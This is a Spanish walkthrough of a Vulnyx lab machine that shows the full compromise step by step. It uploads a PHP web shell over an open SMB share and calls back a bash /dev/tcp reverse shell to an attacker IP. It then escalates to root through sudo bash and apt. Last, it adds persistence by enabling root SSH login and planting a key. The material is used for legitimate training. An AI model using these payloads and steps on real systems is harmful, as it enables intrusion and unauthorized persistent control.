Máquina Linux de nivel Low de Vulnyx.
Técnicas usadas: File Upload, Binary Abusing
Fase de Reconocimiento 🧣
Como primer punto, identificamos la dirección IP de la Máquina Vulnyx
1
2
3
4
| root@kali> arp-scan -I eth0 --local --ignoredups
<SNIP>
192.168.100.63 08:00:27:c6:4f:1d PCS Systemtechnik GmbH
|
Con esto identificamos todos los dispositivos en nuestra red local.
a. Enumeramos los puertos que están abiertos.
b. Vemos la versiones de los servicios que se están ejecutando
c. En el puerto 80 no hay algo interesante (Solo la página por defecto), por lo que, investigamos todo sobre el servicio SMB (Puerto 445)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # Primero listamos los directorios disponibles
❯ smbclient -L \\192.168.100.63
Password for [WORKGROUP\root]: <ENTER>
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
server Disk Developer Directory
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
nobody Disk Home Directories
# Vemos que el directorio "server" puede ser accedido, por lo que, nos conectamos y listamos los recursos disponibles
❯ smbclient \\\\192.168.100.63\\server
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 25 17:20:01 2024
.. D 0 Mon Apr 15 10:04:12 2024
index.html N 10701 Mon Apr 15 10:04:31 2024
|
- Si nos decargamos el archivo index.html con el comando
get index.html
nos daremos cuenta que es el archivo por defecto del puerto 80. Intuimos entonces que probablemente los archivos de este directorio se ven reflejados en el servicio HTTP. Intentaremos subir un archivo .php
para ejecutar comandos.
1
2
3
4
5
| ❯ cat secret.php
<?php
system($_GET['cmd']);
?>
|
La función system
nos permite ejecutar comandos en el sistema. Con $_GET['cmd']
lo que hacemos es indicar que el comando que se va a ejecutar lo indicaremos desde la URL. Ej. http://192.168.100.63/secret.php?cmd=[COMANDO]
- Por último, subimos el archivo secret.php al servicio SMB con
put secret.php
d. Ahora con cURL podemos ejecutar comando en la máquina víctima
1
2
| ❯ curl -s -X GET "http://192.168.100.63/secret.php?cmd=hostname"
exec
|
- Ahora nos entablamos un reverse shell 👨💻
1
2
3
4
5
6
7
8
9
10
11
12
| ❯ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/192.168.100.55/4444 0>&1
---------------------------------------------
❯ python -m http.server 80
---------------------------------------------
❯ nc -lvnp 4444
|
Con esto lo que hacemos es servir el archivo index.html
, para que al ser requerido por la máquina víctima se ejecute el código .sh
- Hacemos que la máquina víctima solicite el archivo
Escalada de Privilegios 💹
- Hacemos el tratamiento de la TTY para trabajar de manera más cómoda con la reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
| www-data@exec:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@exec:/var/www/html$ ^Z
[1] + 25443 suspended nc -lvnp 4444
❯ stty raw -echo;fg
[1] + 25443 continued nc -lvnp 4444
reset xterm
www-data@exec:/var/www/html$ export TERM=xterm-256color
www-data@exec:/var/www/html$ source /etc/skel/.bashrc
www-data@exec:/var/www/html$
|
- Miramos los permisos a nivel de sudoers de este usuario
1
2
3
4
| www-data@exec:/var/www/html$ sudo -l
User www-data may run the following commands on exec:
(s3cur4) NOPASSWD: /usr/bin/bash
|
- Vemos que podemos ejecutar una bash como el usuario
s3cur4
1
2
3
| www-data@exec:/var/www/html$ sudo -u s3cur4 /usr/bin/bash
s3cur4@exec:/var/www/html$ whoami
s3cur4
|
- Ahora vemos los permisos del usuario
s3cur4
1
2
3
4
| s3cur4@exec:/var/www/html$ sudo -l
User s3cur4 may run the following commands on exec:
(root) NOPASSWD: /usr/bin/apt
|
- Vemos en GTFOBins una forma de escalar privilegio ejecutando apt
1
2
3
4
5
| s3cur4@exec:/var/www/html$ sudo -u root /usr/bin/apt changelog apt
Get:1 https://metadata.ftp-master.debian.org apt 2.6.1 Changelog [505 kB]
Fetched 505 kB in 2s (241 kB/s)
# Después de ejecutar el comando, se abrirá una pantalla en la cual debemos escribir !/bin/bash
root@exec:/var/www/html#
|
- Podemos autenticarnos mediante SSH directamente a la máquina víctima:
- Primero, habilitamos el permiso para que root pueda autenticarse a través de SSH. Quitamos el # y colocamos un yes
1
2
3
4
5
| root@exec:~# cat /etc/ssh/sshd_config
...
PermitRootLogin yes
...
|
- Ahora, generamos un par de claves RSA en nuestra máquina host
1
2
3
4
| ❯ ssh-keygen
# Asignamos el permiso 600 a la clave id_rsa privada
❯ chmod 600 id_rsa
|
- Copiamos el contenido de la clave id_rsa pública y lo ponemos en un archivo authorized_keys en el directorio /root/.ssh
1
| root@exec:~/.ssh# echo -n 'ssh-ed25519 ... root@kali' > authorized_keys
|
- Finalmente, nos podemos autenticar directamente por ssh como el usuario root
1
2
| ❯ ssh root@192.168.100.63 -i id_rsa
root@exec:~#
|